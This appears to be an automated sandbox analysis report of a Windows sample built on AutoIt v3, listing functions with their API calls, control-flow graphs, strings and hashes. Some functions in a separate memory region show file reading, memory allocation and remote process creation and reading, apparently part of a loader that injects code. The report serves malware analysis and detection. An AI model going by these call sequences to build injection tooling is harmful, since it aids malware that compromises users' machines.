                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
                                                • String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
                                                • API String ID: 98802146-2727554177
                                                • Opcode ID: b9ba0256d032dc7b680a507f42590674ad95ab39e6363fb0da52b9f2a339f66f
                                                • Instruction ID: 0ea35ad04f8c0b55d7d3409b061d2c0c1a2a8e5784664c9583138e96b5b2d5ad
                                                • Opcode Fuzzy Hash: b9ba0256d032dc7b680a507f42590674ad95ab39e6363fb0da52b9f2a339f66f
                                                • Instruction Fuzzy Hash: EE71B2755247019EC716EF65DC818ABBBECFF95340F51882EF445832A0EBB08A58CF52
                                                Function 00292B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63windowregistryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                • GetSysColorBrush.USER32(0000000F), ref: 00292B8E
                                                • LoadCursorW.USER32(00000000,00007F00), ref: 00292B9D
                                                • LoadIconW.USER32(00000063), ref: 00292BB3
                                                • LoadIconW.USER32(000000A4), ref: 00292BC5
                                                • LoadIconW.USER32(000000A2), ref: 00292BD7
                                                • LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00292BEF
                                                • RegisterClassExW.USER32(?), ref: 00292C40
                                                  • Part of subcall function 00292CD4: GetSysColorBrush.USER32(0000000F), ref: 00292D07
                                                  • Part of subcall function 00292CD4: RegisterClassExW.USER32(00000030), ref: 00292D31
                                                  • Part of subcall function 00292CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00292D42
                                                  • Part of subcall function 00292CD4: InitCommonControlsEx.COMCTL32(?), ref: 00292D5F
                                                  • Part of subcall function 00292CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00292D6F
                                                  • Part of subcall function 00292CD4: LoadIconW.USER32(000000A9), ref: 00292D85
                                                  • Part of subcall function 00292CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00292D94
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                • String ID: #$0$AutoIt v3
                                                • API String ID: 423443420-4155596026
                                                • Opcode ID: 857e9f4aab46ae88c9deaab68de7b4ceaa52cfe77690b3acdb736d1e53fd1c22
                                                • Instruction ID: ed653e03cb3035e7e5820c22e85956b91164e8785f5bdd5dbbca1770bd0988db
                                                • Opcode Fuzzy Hash: 857e9f4aab46ae88c9deaab68de7b4ceaa52cfe77690b3acdb736d1e53fd1c22
                                                • Instruction Fuzzy Hash: 04213978E20314AFDB229FA5EC45A9D7FB8FB08B50F28801AE501A67A0D7F10540DF90
                                                Function 00293170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145windowtimeregistryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 443 293170-293185 444 2931e5-2931e7 443->444 445 293187-29318a 443->445 444->445 446 2931e9 444->446 447 2931eb 445->447 448 29318c-293193 445->448 449 2931d0-2931d8 DefWindowProcW 446->449 450 2d2dfb-2d2e23 call 2918e2 call 2ae499 447->450 451 2931f1-2931f6 447->451 452 293199-29319e 448->452 453 293265-29326d PostQuitMessage 448->453 454 2931de-2931e4 449->454 486 2d2e28-2d2e2f 450->486 456 2931f8-2931fb 451->456 457 29321d-293244 SetTimer RegisterWindowMessageW 451->457 459 2d2e7c-2d2e90 call 2fbf30 452->459 460 2931a4-2931a8 452->460 455 293219-29321b 453->455 455->454 461 2d2d9c-2d2d9f 456->461 462 293201-293214 KillTimer call 2930f2 call 293c50 456->462 457->455 464 293246-293251 CreatePopupMenu 457->464 459->455 478 2d2e96 459->478 465 2d2e68-2d2e72 call 2fc161 460->465 466 2931ae-2931b3 460->466 469 2d2dd7-2d2df6 MoveWindow 461->469 470 2d2da1-2d2da5 461->470 462->455 464->455 483 2d2e77 465->483 474 2d2e4d-2d2e54 466->474 475 2931b9-2931be 466->475 469->455 479 2d2da7-2d2daa 470->479 480 2d2dc6-2d2dd2 SetFocus 470->480 474->449 481 2d2e5a-2d2e63 call 2f0ad7 474->481 476 293253-293263 call 29326f 475->476 477 2931c4-2931ca 475->477 476->455 477->449 477->486 478->449 479->477 487 2d2db0-2d2dc1 call 2918e2 479->487 480->455 481->449 483->455 486->449 491 2d2e35-2d2e48 call 2930f2 call 293837 486->491 487->455 491->449
                                                APIs
                                                • DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,0029316A,?,?), ref: 002931D8
                                                • KillTimer.USER32(?,00000001,?,?,?,?,?,0029316A,?,?), ref: 00293204
                                                • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00293227
                                                • RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,0029316A,?,?), ref: 00293232
                                                • CreatePopupMenu.USER32 ref: 00293246
                                                • PostQuitMessage.USER32(00000000), ref: 00293267
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                • String ID: TaskbarCreated
                                                • API String ID: 129472671-2362178303
                                                • Opcode ID: 734056187accfea6841ea11fbb6ae27706f61768690096b390a61d6771bd6792
                                                • Instruction ID: 5af5b4a2de79735d5b44b32fb565f2543b99fc555abeeb1ed13142eb79be476d
                                                • Opcode Fuzzy Hash: 734056187accfea6841ea11fbb6ae27706f61768690096b390a61d6771bd6792
                                                • Instruction Fuzzy Hash: D2415835634205ABDF269F789C09B7D365EEB05340F18412AF916C62B1CBE09E31DBA1
                                                Function 0029DFD0 Relevance: 15.4, APIs: 2, Strings: 6, Instructions: 1414COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: D%6$D%6$D%6$D%6$D%6D%6$Variable must be of type 'Object'.
                                                • API String ID: 0-4062267432
                                                • Opcode ID: 01656ab98a27ddb10027a857185cfeea9b12f1daab97aaf8447f23f228b7b8a3
                                                • Instruction ID: c78a876edefa2f10a3136a0ae5693441f6540581bf44721d4f43ce33f8a41d28
                                                • Opcode Fuzzy Hash: 01656ab98a27ddb10027a857185cfeea9b12f1daab97aaf8447f23f228b7b8a3
                                                • Instruction Fuzzy Hash: 96C2AE71A20205CFCF24CF98C884AADB7B1BF19300F668569E906AB391D775ED61CF91
                                                Function 00D55118 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1009 d55118-d551c6 call d52b38 1012 d551cd-d551f3 call d56028 CreateFileW 1009->1012 1015 d551f5 1012->1015 1016 d551fa-d5520a 1012->1016 1017 d55345-d55349 1015->1017 1024 d55211-d5522b VirtualAlloc 1016->1024 1025 d5520c 1016->1025 1018 d5538b-d5538e 1017->1018 1019 d5534b-d5534f 1017->1019 1021 d55391-d55398 1018->1021 1022 d55351-d55354 1019->1022 1023 d5535b-d5535f 1019->1023 1026 d553ed-d55402 1021->1026 1027 d5539a-d553a5 1021->1027 1022->1023 1028 d55361-d5536b 1023->1028 1029 d5536f-d55373 1023->1029 1030 d55232-d55249 ReadFile 1024->1030 1031 d5522d 1024->1031 1025->1017 1036 d55404-d5540f VirtualFree 1026->1036 1037 d55412-d5541a 1026->1037 1034 d553a7 1027->1034 1035 d553a9-d553b5 1027->1035 1028->1029 1038 d55375-d5537f 1029->1038 1039 d55383 1029->1039 1032 d55250-d55290 VirtualAlloc 1030->1032 1033 d5524b 1030->1033 1031->1017 1040 d55297-d552b2 call d56278 1032->1040 1041 d55292 1032->1041 1033->1017 1034->1026 1042 d553b7-d553c7 1035->1042 1043 d553c9-d553d5 1035->1043 1036->1037 1038->1039 1039->1018 1049 d552bd-d552c7 1040->1049 1041->1017 1045 d553eb 1042->1045 1046 d553d7-d553e0 1043->1046 1047 d553e2-d553e8 1043->1047 1045->1021 1046->1045 1047->1045 1050 d552c9-d552f8 call d56278 1049->1050 1051 d552fa-d5530e call d56088 1049->1051 1050->1049 1057 d55310 1051->1057 1058 d55312-d55316 1051->1058 1057->1017 1059 d55322-d55326 1058->1059 1060 d55318-d5531c CloseHandle 1058->1060 1061 d55336-d5533f 1059->1061 1062 d55328-d55333 VirtualFree 1059->1062 1060->1059 1061->1012 1061->1017 1062->1061
                                                APIs
                                                • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 00D551E9
                                                • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00D5540F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1460303894.0000000000D52000.00000040.00000020.00020000.00000000.sdmp, Offset: 00D52000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d52000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CreateFileFreeVirtual
                                                • String ID:
                                                • API String ID: 204039940-0
                                                • Opcode ID: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
                                                • Instruction ID: ace7ef02ec7995200e985ad69c89b7427a4f3951027f10653af7ed7e72658d88
                                                • Opcode Fuzzy Hash: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
                                                • Instruction Fuzzy Hash: CAA11A70E00608EBEF14CFA4D894BEEBBB5FF48305F248159E905BB284D7B59A45CB64
                                                Function 00292C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1073 292c63-292cd3 CreateWindowExW * 2 ShowWindow * 2
                                                APIs
                                                • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00292C91
                                                • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00292CB2
                                                • ShowWindow.USER32(00000000,?,?,?,?,?,?,00291CAD,?), ref: 00292CC6
                                                • ShowWindow.USER32(00000000,?,?,?,?,?,?,00291CAD,?), ref: 00292CCF
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$CreateShow
                                                • String ID: AutoIt v3$edit
                                                • API String ID: 1584632944-3779509399
                                                • Opcode ID: b3b60f3f12021565c498395b2d18a79a02a424b68ab6f32e323eb85e78a54860
                                                • Instruction ID: 23016a8085e0d2982da331bccce3fb5a334a2f5cf3d45062b16e3b04822a09ba
                                                • Opcode Fuzzy Hash: b3b60f3f12021565c498395b2d18a79a02a424b68ab6f32e323eb85e78a54860
                                                • Instruction Fuzzy Hash: 1BF0DA795502907AEB731717AC08E7B2EBDD7CAF50F24905EF901A26A0C6E11851EAB1
                                                Function 00D54EE8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146fileCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1188 d54ee8-d55019 call d52b38 call d54dd8 CreateFileW 1195 d55020-d55030 1188->1195 1196 d5501b 1188->1196 1199 d55037-d55051 VirtualAlloc 1195->1199 1200 d55032 1195->1200 1197 d550d0-d550d5 1196->1197 1201 d55055-d5506c ReadFile 1199->1201 1202 d55053 1199->1202 1200->1197 1203 d55070-d550aa call d54e18 call d53dd8 1201->1203 1204 d5506e 1201->1204 1202->1197 1209 d550c6-d550ce ExitProcess 1203->1209 1210 d550ac-d550c1 call d54e68 1203->1210 1204->1197 1209->1197 1210->1209
                                                APIs
                                                  • Part of subcall function 00D54DD8: Sleep.KERNELBASE(000001F4), ref: 00D54DE9
                                                • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00D5500F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1460303894.0000000000D52000.00000040.00000020.00020000.00000000.sdmp, Offset: 00D52000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d52000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CreateFileSleep
                                                • String ID: F64EIY185TB6IS6VLO6LEI
                                                • API String ID: 2694422964-2487402191
                                                • Opcode ID: da6958351d65059eb092385e65bb7015ff4f42449517565530594d4941d994ee
                                                • Instruction ID: dc2d7f8e07e1f976eca90d8bd3bfadd07972ece20ab2f63601644bff5f30b93f
                                                • Opcode Fuzzy Hash: da6958351d65059eb092385e65bb7015ff4f42449517565530594d4941d994ee
                                                • Instruction Fuzzy Hash: CA51C430D04249EBEF11DBA8D815BEFBB74AF15305F104199EA087B2C1D67A1B48CBB5
                                                Function 00302947 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1212 302947-3029b9 call 2d1f50 call 3025d6 call 2afe0b call 295722 call 30274e call 29511f call 2b5232 1227 302a6c-302a73 call 302e66 1212->1227 1228 3029bf-3029c6 call 302e66 1212->1228 1233 302a75-302a77 1227->1233 1234 302a7c 1227->1234 1228->1233 1235 3029cc-302a6a call 2bd583 call 2b4983 call 2b9038 call 2bd583 call 2b9038 * 2 1228->1235 1236 302cb6-302cb7 1233->1236 1238 302a7f-302b3a call 2950f5 * 8 call 303017 call 2be5eb 1234->1238 1235->1238 1239 302cd5-302cdb 1236->1239 1277 302b43-302b5e call 302792 1238->1277 1278 302b3c-302b3e 1238->1278 1242 302cf0-302cf6 1239->1242 1243 302cdd-302ced call 2afdcd call 2afe14 1239->1243 1243->1242 1281 302bf0-302bfc call 2be678 1277->1281 1282 302b64-302b6c 1277->1282 1278->1236 1289 302c12-302c16 1281->1289 1290 302bfe-302c0d DeleteFileW 1281->1290 1283 302b74 1282->1283 1284 302b6e-302b72 1282->1284 1286 302b79-302b97 call 2950f5 1283->1286 1284->1286 1296 302bc1-302bd7 call 30211d call 2bdbb3 1286->1296 1297 302b99-302b9e 1286->1297 1292 302c91-302ca5 CopyFileW 1289->1292 1293 302c18-302c7e call 3025d6 call 2bd2eb * 2 call 3022ce 1289->1293 1290->1236 1294 302ca7-302cb4 DeleteFileW 1292->1294 1295 302cb9-302ccf DeleteFileW call 302fd8 1292->1295 1293->1295 1317 302c80-302c8f DeleteFileW 1293->1317 1294->1236 1304 302cd4 1295->1304 1310 302bdc-302be7 1296->1310 1301 302ba1-302bb4 call 3028d2 1297->1301 1311 302bb6-302bbf 1301->1311 1304->1239 1310->1282 1314 302bed 1310->1314 1311->1296 1314->1281 1317->1236
                                                APIs
                                                • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00302C05
                                                • DeleteFileW.KERNEL32(?), ref: 00302C87
                                                • CopyFileW.KERNELBASE(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00302C9D
                                                • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00302CAE
                                                • DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00302CC0
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: File$Delete$Copy
                                                • String ID:
                                                • API String ID: 3226157194-0
                                                • Opcode ID: b8e9ca21dd3584d890afc726f153a0fc047bcb52372b5910b071d14ee35f3de2
                                                • Instruction ID: d6ec88673d2a4feac69264dc862743e38f7bff1116fd63d20f7dd677f485a599
                                                • Opcode Fuzzy Hash: b8e9ca21dd3584d890afc726f153a0fc047bcb52372b5910b071d14ee35f3de2
                                                • Instruction Fuzzy Hash: 5EB16071E11129ABDF22DFA4CC99EDFB77DEF09350F1040A6F909E6181EA309A548F61
                                                Function 002C5AA9 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186COMMONLIBRARYCODE
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1318 2c5aa9-2c5ace 1319 2c5ad7-2c5ad9 1318->1319 1320 2c5ad0-2c5ad2 1318->1320 1322 2c5afa-2c5b1f 1319->1322 1323 2c5adb-2c5af5 call 2bf2c6 call 2bf2d9 call 2c27ec 1319->1323 1321 2c5ca5-2c5cb4 call 2b0a8c 1320->1321 1324 2c5b26-2c5b2c 1322->1324 1325 2c5b21-2c5b24 1322->1325 1323->1321 1329 2c5b2e-2c5b46 call 2bf2c6 call 2bf2d9 call 2c27ec 1324->1329 1330 2c5b4b 1324->1330 1325->1324 1328 2c5b4e-2c5b53 1325->1328 1334 2c5b64-2c5b6d call 2c564e 1328->1334 1335 2c5b55-2c5b61 call 2c9424 1328->1335 1367 2c5c9c-2c5c9f 1329->1367 1330->1328 1345 2c5b6f-2c5b71 1334->1345 1346 2c5ba8-2c5bba 1334->1346 1335->1334 1349 2c5b95-2c5b9e call 2c542e 1345->1349 1350 2c5b73-2c5b78 1345->1350 1352 2c5bbc-2c5bc2 1346->1352 1353 2c5c02-2c5c23 WriteFile 1346->1353 1366 2c5ba3-2c5ba6 1349->1366 1354 2c5c6c-2c5c7e 1350->1354 1355 2c5b7e-2c5b8b call 2c55e1 1350->1355 1360 2c5bc4-2c5bc7 1352->1360 1361 2c5bf2-2c5c00 call 2c56c4 1352->1361 1358 2c5c2e 1353->1358 1359 2c5c25-2c5c2b GetLastError 1353->1359 1364 2c5c89-2c5c99 call 2bf2d9 call 2bf2c6 1354->1364 1365 2c5c80-2c5c83 1354->1365 1376 2c5b8e-2c5b90 1355->1376 1368 2c5c31-2c5c3c 1358->1368 1359->1358 1369 2c5bc9-2c5bcc 1360->1369 1370 2c5be2-2c5bf0 call 2c5891 1360->1370 1361->1366 1364->1367 1365->1364 1374 2c5c85-2c5c87 1365->1374 1366->1376 1380 2c5ca4 1367->1380 1377 2c5c3e-2c5c43 1368->1377 1378 2c5ca1 1368->1378 1369->1354 1379 2c5bd2-2c5be0 call 2c57a3 1369->1379 1370->1366 1374->1380 1376->1368 1383 2c5c69 1377->1383 1384 2c5c45-2c5c4a 1377->1384 1378->1380 1379->1366 1380->1321 1383->1354 1388 2c5c4c-2c5c5e call 2bf2d9 call 2bf2c6 1384->1388 1389 2c5c60-2c5c67 call 2bf2a3 1384->1389 1388->1367 1389->1367
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: JO)
                                                • API String ID: 0-3072268962
                                                • Opcode ID: d9dc24d604c4dbd1a95d9a57779abb62e66b363c691840fac5f3582f46c2e775
                                                • Instruction ID: f8c76e85dc1cacc5b7aa013a81c097d4028b5b5740134d65b0e00ae41b242de2
                                                • Opcode Fuzzy Hash: d9dc24d604c4dbd1a95d9a57779abb62e66b363c691840fac5f3582f46c2e775
                                                • Instruction Fuzzy Hash: D451C07193062A9FCB219FA4CD45FEEBFB8AF05314F14021EF404A7291D675EAA1CB61
                                                Function 00293B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1433 293b1c-293b27 1434 293b99-293b9b 1433->1434 1435 293b29-293b2e 1433->1435 1437 293b8c-293b8f 1434->1437 1435->1434 1436 293b30-293b48 RegOpenKeyExW 1435->1436 1436->1434 1438 293b4a-293b69 RegQueryValueExW 1436->1438 1439 293b6b-293b76 1438->1439 1440 293b80-293b8b RegCloseKey 1438->1440 1441 293b78-293b7a 1439->1441 1442 293b90-293b97 1439->1442 1440->1437 1443 293b7e 1441->1443 1442->1443 1443->1440
                                                APIs
                                                • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00293B0F,SwapMouseButtons,00000004,?), ref: 00293B40
                                                • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00293B0F,SwapMouseButtons,00000004,?), ref: 00293B61
                                                • RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,00293B0F,SwapMouseButtons,00000004,?), ref: 00293B83
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CloseOpenQueryValue
                                                • String ID: Control Panel\Mouse
                                                • API String ID: 3677997916-824357125
                                                • Opcode ID: a9ff659bc3d89ab229b1e1c8222778748e698ac596f9576e5f3538f27bd2e6e9
                                                • Instruction ID: ba35a5ecd74590f890e76441fc4240102a74aa01b403b5090810f1e901a5c24d
                                                • Opcode Fuzzy Hash: a9ff659bc3d89ab229b1e1c8222778748e698ac596f9576e5f3538f27bd2e6e9
                                                • Instruction Fuzzy Hash: 58112AB5520209FFDF21CFA5DC54EAEB7BCEF04748F108459A805D7210D271DE5197A0
                                                Function 00D53DD8 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateProcessW.KERNELBASE(?,00000000), ref: 00D54593
                                                • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00D54629
                                                • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00D5464B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1460303894.0000000000D52000.00000040.00000020.00020000.00000000.sdmp, Offset: 00D52000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d52000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                • String ID:
                                                • API String ID: 2438371351-0
                                                • Opcode ID: cc658a0e6010fd3573e63fe9dffc1f366d2843c5c23e1a249a06af30add5367b
                                                • Instruction ID: 1f461ff00a50f6008d225de25afe084ddd7011b4e2b1e77d0799a947bfdc8f1c
                                                • Opcode Fuzzy Hash: cc658a0e6010fd3573e63fe9dffc1f366d2843c5c23e1a249a06af30add5367b
                                                • Instruction Fuzzy Hash: 94622A30A142589BEB24CBA4C841BDEB372FF58305F1091A9D50DEB290E7759E85CF6A
                                                Function 00292DE3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetOpenFileNameW.COMDLG32(?), ref: 002D2C8C
                                                  • Part of subcall function 00293AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00293A97,?,?,00292E7F,?,?,?,00000000), ref: 00293AC2
                                                  • Part of subcall function 00292DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00292DC4
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Name$Path$FileFullLongOpen
                                                • String ID: X$`e5
                                                • API String ID: 779396738-3892304799
                                                • Opcode ID: c813219a9e42b84462f748d3846b6d2b06b27e3256f0145d43c06abea33b5afe
                                                • Instruction ID: fbe533b1f1f42135f41c3c407d28d41bd5e71eb257c6665f07b97807eafc0710
                                                • Opcode Fuzzy Hash: c813219a9e42b84462f748d3846b6d2b06b27e3256f0145d43c06abea33b5afe
